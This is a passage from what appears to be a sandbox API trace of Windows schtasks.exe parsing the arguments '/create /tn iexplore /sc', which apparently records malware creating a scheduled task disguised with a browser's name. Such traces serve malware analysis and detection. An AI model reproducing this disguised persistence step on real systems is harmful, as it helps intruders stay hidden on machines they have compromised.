_Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13c0f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0152.375] VerQueryValueW (in: pBlock=0x19dd30, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13c188, puLen=0x13c178 | out: lplpBuffer=0x13c188*=0x19def8, puLen=0x13c178) returned 1 [0152.375] lstrlenW (lpString="schtasks.exe") returned 12 [0152.375] lstrlenW (lpString="schtasks.exe") returned 12 [0152.375] lstrlenW (lpString=".EXE") returned 4 [0152.375] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0152.375] lstrlenW (lpString="schtasks.exe") returned 12 [0152.375] lstrlenW (lpString=".EXE") returned 4 [0152.375] lstrlenW (lpString="schtasks") returned 8 [0152.375] lstrlenW (lpString="/create") returned 7 [0152.375] _memicmp (_Buf1=0x19ba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.375] _vsnwprintf (in: _Buffer=0x19bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x13c0f8 | out: _Buffer="schtasks /create") returned 16 [0152.375] _memicmp (_Buf1=0x19ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.375] GetProcessHeap () returned 0x180000 [0152.375] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cd20 [0152.375] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.375] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0152.375] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0152.375] GetProcessHeap () returned 0x180000 [0152.375] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x30) returned 0x197a90 [0152.375] _vsnwprintf (in: _Buffer=0x19bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13c0f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0152.375] GetProcessHeap () returned 0x180000 [0152.375] GetProcessHeap () returned 0x180000 [0152.375] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19dd30) returned 1 [0152.375] GetProcessHeap () returned 0x180000 [0152.375] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19dd30) returned 0x74e [0152.376] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19dd30 | out: hHeap=0x180000) returned 1 [0152.376] SetLastError (dwErrCode=0x0) [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="create") returned 6 [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="?") returned 1 [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="s") returned 1 [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="u") returned 1 [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="p") returned 1 [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="ru") returned 2 [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="rp") returned 2 [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="sc") returned 2 [0152.376] GetThreadLocale () returned 0x409 [0152.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.376] lstrlenW (lpString="mo") returned 2 [0152.376] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="d") returned 1 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="m") returned 1 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="i") returned 1 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="tn") returned 2 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="tr") returned 2 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="st") returned 2 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="sd") returned 2 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="ed") returned 2 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="it") returned 2 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="et") returned 2 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="k") returned 1 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.377] lstrlenW (lpString="du") returned 2 [0152.377] GetThreadLocale () returned 0x409 [0152.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="ri") returned 2 [0152.378] GetThreadLocale () returned 0x409 [0152.378] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="z") returned 1 [0152.378] GetThreadLocale () returned 0x409 [0152.378] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="f") returned 1 [0152.378] GetThreadLocale () returned 0x409 [0152.378] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="v1") returned 2 [0152.378] GetThreadLocale () returned 0x409 [0152.378] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="xml") returned 3 [0152.378] GetThreadLocale () returned 0x409 [0152.378] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="ec") returned 2 [0152.378] GetThreadLocale () returned 0x409 [0152.378] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="rl") returned 2 [0152.378] GetThreadLocale () returned 0x409 [0152.378] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="delay") returned 5 [0152.378] GetThreadLocale () returned 0x409 [0152.378] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0152.378] lstrlenW (lpString="np") returned 2 [0152.378] SetLastError (dwErrCode=0x0) [0152.378] SetLastError (dwErrCode=0x0) [0152.378] lstrlenW (lpString="/create") returned 7 [0152.378] lstrlenW (lpString="-/") returned 2 [0152.378] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.378] lstrlenW (lpString="create") returned 6 [0152.378] lstrlenW (lpString="create") returned 6 [0152.378] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.378] lstrlenW (lpString="create") returned 6 [0152.378] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.378] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|create|") returned 8 [0152.379] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|create|") returned 8 [0152.379] lstrlenW (lpString="|create|") returned 8 [0152.379] lstrlenW (lpString="|create|") returned 8 [0152.379] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0152.379] SetLastError (dwErrCode=0x0) [0152.379] SetLastError (dwErrCode=0x0) [0152.379] SetLastError (dwErrCode=0x0) [0152.379] lstrlenW (lpString="/tn") returned 3 [0152.379] lstrlenW (lpString="-/") returned 2 [0152.379] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.379] lstrlenW (lpString="create") returned 6 [0152.379] lstrlenW (lpString="create") returned 6 [0152.379] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.379] lstrlenW (lpString="tn") returned 2 [0152.379] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.379] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|create|") returned 8 [0152.379] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.379] lstrlenW (lpString="|create|") returned 8 [0152.379] lstrlenW (lpString="|tn|") returned 4 [0152.379] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0152.379] SetLastError (dwErrCode=0x490) [0152.379] lstrlenW (lpString="?") returned 1 [0152.379] lstrlenW (lpString="?") returned 1 [0152.379] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.379] lstrlenW (lpString="tn") returned 2 [0152.379] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.379] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|?|") returned 3 [0152.379] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.379] lstrlenW (lpString="|?|") returned 3 [0152.379] lstrlenW (lpString="|tn|") returned 4 [0152.379] SetLastError (dwErrCode=0x490) [0152.379] lstrlenW (lpString="s") returned 1 [0152.379] lstrlenW (lpString="s") returned 1 [0152.379] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.380] lstrlenW (lpString="tn") returned 2 [0152.380] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.380] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|s|") returned 3 [0152.380] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.380] lstrlenW (lpString="|s|") returned 3 [0152.380] lstrlenW (lpString="|tn|") returned 4 [0152.380] SetLastError (dwErrCode=0x490) [0152.380] lstrlenW (lpString="u") returned 1 [0152.380] lstrlenW (lpString="u") returned 1 [0152.380] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.380] lstrlenW (lpString="tn") returned 2 [0152.380] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.380] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|u|") returned 3 [0152.380] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.380] lstrlenW (lpString="|u|") returned 3 [0152.380] lstrlenW (lpString="|tn|") returned 4 [0152.380] SetLastError (dwErrCode=0x490) [0152.380] lstrlenW (lpString="p") returned 1 [0152.380] lstrlenW (lpString="p") returned 1 [0152.380] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.380] lstrlenW (lpString="tn") returned 2 [0152.380] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.380] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|p|") returned 3 [0152.380] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.380] lstrlenW (lpString="|p|") returned 3 [0152.380] lstrlenW (lpString="|tn|") returned 4 [0152.380] SetLastError (dwErrCode=0x490) [0152.380] lstrlenW (lpString="ru") returned 2 [0152.380] lstrlenW (lpString="ru") returned 2 [0152.380] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.380] lstrlenW (lpString="tn") returned 2 [0152.380] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.380] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ru|") returned 4 [0152.381] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.381] lstrlenW (lpString="|ru|") returned 4 [0152.381] lstrlenW (lpString="|tn|") returned 4 [0152.381] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0152.381] SetLastError (dwErrCode=0x490) [0152.381] lstrlenW (lpString="rp") returned 2 [0152.381] lstrlenW (lpString="rp") returned 2 [0152.381] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.381] lstrlenW (lpString="tn") returned 2 [0152.381] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.381] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rp|") returned 4 [0152.381] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.381] lstrlenW (lpString="|rp|") returned 4 [0152.381] lstrlenW (lpString="|tn|") returned 4 [0152.381] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0152.381] SetLastError (dwErrCode=0x490) [0152.381] lstrlenW (lpString="sc") returned 2 [0152.381] lstrlenW (lpString="sc") returned 2 [0152.381] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.381] lstrlenW (lpString="tn") returned 2 [0152.381] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.381] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.381] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.381] lstrlenW (lpString="|sc|") returned 4 [0152.381] lstrlenW (lpString="|tn|") returned 4 [0152.381] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0152.381] SetLastError (dwErrCode=0x490) [0152.381] lstrlenW (lpString="mo") returned 2 [0152.381] lstrlenW (lpString="mo") returned 2 [0152.381] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.381] lstrlenW (lpString="tn") returned 2 [0152.381] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.382] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|mo|") returned 4 [0152.382] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.382] lstrlenW (lpString="|mo|") returned 4 [0152.382] lstrlenW (lpString="|tn|") returned 4 [0152.382] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0152.382] SetLastError (dwErrCode=0x490) [0152.382] lstrlenW (lpString="d") returned 1 [0152.382] lstrlenW (lpString="d") returned 1 [0152.382] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.382] lstrlenW (lpString="tn") returned 2 [0152.382] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.382] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|d|") returned 3 [0152.382] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.382] lstrlenW (lpString="|d|") returned 3 [0152.382] lstrlenW (lpString="|tn|") returned 4 [0152.382] SetLastError (dwErrCode=0x490) [0152.382] lstrlenW (lpString="m") returned 1 [0152.382] lstrlenW (lpString="m") returned 1 [0152.382] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.382] lstrlenW (lpString="tn") returned 2 [0152.382] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.382] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|m|") returned 3 [0152.382] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.382] lstrlenW (lpString="|m|") returned 3 [0152.382] lstrlenW (lpString="|tn|") returned 4 [0152.382] SetLastError (dwErrCode=0x490) [0152.382] lstrlenW (lpString="i") returned 1 [0152.382] lstrlenW (lpString="i") returned 1 [0152.382] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.382] lstrlenW (lpString="tn") returned 2 [0152.382] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.382] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|i|") returned 3 [0152.382] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.382] lstrlenW (lpString="|i|") returned 3 [0152.383] lstrlenW (lpString="|tn|") returned 4 [0152.383] SetLastError (dwErrCode=0x490) [0152.383] lstrlenW (lpString="tn") returned 2 [0152.383] lstrlenW (lpString="tn") returned 2 [0152.383] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.383] lstrlenW (lpString="tn") returned 2 [0152.383] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.383] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.383] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.383] lstrlenW (lpString="|tn|") returned 4 [0152.383] lstrlenW (lpString="|tn|") returned 4 [0152.383] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0152.383] SetLastError (dwErrCode=0x0) [0152.383] SetLastError (dwErrCode=0x0) [0152.383] lstrlenW (lpString="iexplore") returned 8 [0152.383] lstrlenW (lpString="-/") returned 2 [0152.383] StrChrIW (lpStart="-/", wMatch=0x69) returned 0x0 [0152.383] SetLastError (dwErrCode=0x490) [0152.383] SetLastError (dwErrCode=0x490) [0152.383] SetLastError (dwErrCode=0x0) [0152.383] lstrlenW (lpString="iexplore") returned 8 [0152.383] StrChrIW (lpStart="iexplore", wMatch=0x3a) returned 0x0 [0152.383] SetLastError (dwErrCode=0x490) [0152.383] SetLastError (dwErrCode=0x0) [0152.383] lstrlenW (lpString="iexplore") returned 8 [0152.383] SetLastError (dwErrCode=0x0) [0152.383] SetLastError (dwErrCode=0x0) [0152.383] lstrlenW (lpString="/sc") returned 3 [0152.383] lstrlenW (lpString="-/") returned 2 [0152.383] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.383] lstrlenW (lpString="create") returned 6 [0152.383] lstrlenW (lpString="create") returned 6 [0152.383] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.383] lstrlenW (lpString="sc") returned 2 [0152.383] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.383] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|create|") returned 8 [0152.384] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.384] lstrlenW (lpString="|create|") returned 8 [0152.384] lstrlenW (lpString="|sc|") returned 4 [0152.384] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0152.384] SetLastError (dwErrCode=0x490) [0152.384] lstrlenW (lpString="?") returned 1 [0152.384] lstrlenW (lpString="?") returned 1 [0152.384] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.384] lstrlenW (lpString="sc") returned 2 [0152.384] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.384] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|?|") returned 3 [0152.384] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.384] lstrlenW (lpString="|?|") returned 3 [0152.384] lstrlenW (lpString="|sc|") returned 4 [0152.384] SetLastError (dwErrCode=0x490) [0152.384] lstrlenW (lpString="s") returned 1 [0152.384] lstrlenW (lpString="s") returned 1 [0152.384] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.384] lstrlenW (lpString="sc") returned 2 [0152.384] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.384] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|s|") returned 3 [0152.384] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.384] lstrlenW (lpString="|s|") returned 3 [0152.384] lstrlenW (lpString="|sc|") returned 4 [0152.384] SetLastError (dwErrCode=0x490) [0152.384] lstrlenW (lpString="u") returned 1 [0152.384] lstrlenW (lpString="u") returned 1 [0152.384] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.384] lstrlenW (lpString="sc") returned 2 [0152.384] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.385] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|u|") returned 3 [0152.385] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.385] lstrlenW (lpString="|u|") returned 3 [0152.385] lstrlenW (lpString="|sc|") returned 4 [0152.385] SetLastError (dwErrCode=0x490) [0152.385] lstrlenW (lpString="p") returned 1 [0152.385] lstrlenW (lpString="p") returned 1 [0152.385] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.385] lstrlenW (lpString="sc") returned 2 [0152.385] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.385] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|p|") returned 3 [0152.385] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.385] lstrlenW (lpString="|p|") returned 3 [0152.385] lstrlenW (lpString="|sc|") returned 4 [0152.385] SetLastError (dwErrCode=0x490) [0152.385] lstrlenW (lpString="ru") returned 2 [0152.385] lstrlenW (lpString="ru") returned 2 [0152.385] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.385] lstrlenW (lpString="sc") returned 2 [0152.385] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.385] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ru|") returned 4 [0152.385] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.385] lstrlenW (lpString="|ru|") returned 4 [0152.385] lstrlenW (lpString="|sc|") returned 4 [0152.385] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0152.385] SetLastError (dwErrCode=0x490) [0152.385] lstrlenW (lpString="rp") returned 2 [0152.385] lstrlenW (lpString="rp") returned 2 [0152.385] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.385] lstrlenW (lpString="sc") returned 2 [0152.385] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.385] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rp|") returned 4 [0152.385] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.386] lstrlenW (lpString="|rp|") returned 4 [0152.386] lstrlenW (lpString="|sc|") returned 4 [0152.386] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0152.386] SetLastError (dwErrCode=0x490) [0152.386] lstrlenW (lpString="sc") returned 2 [0152.386] lstrlenW 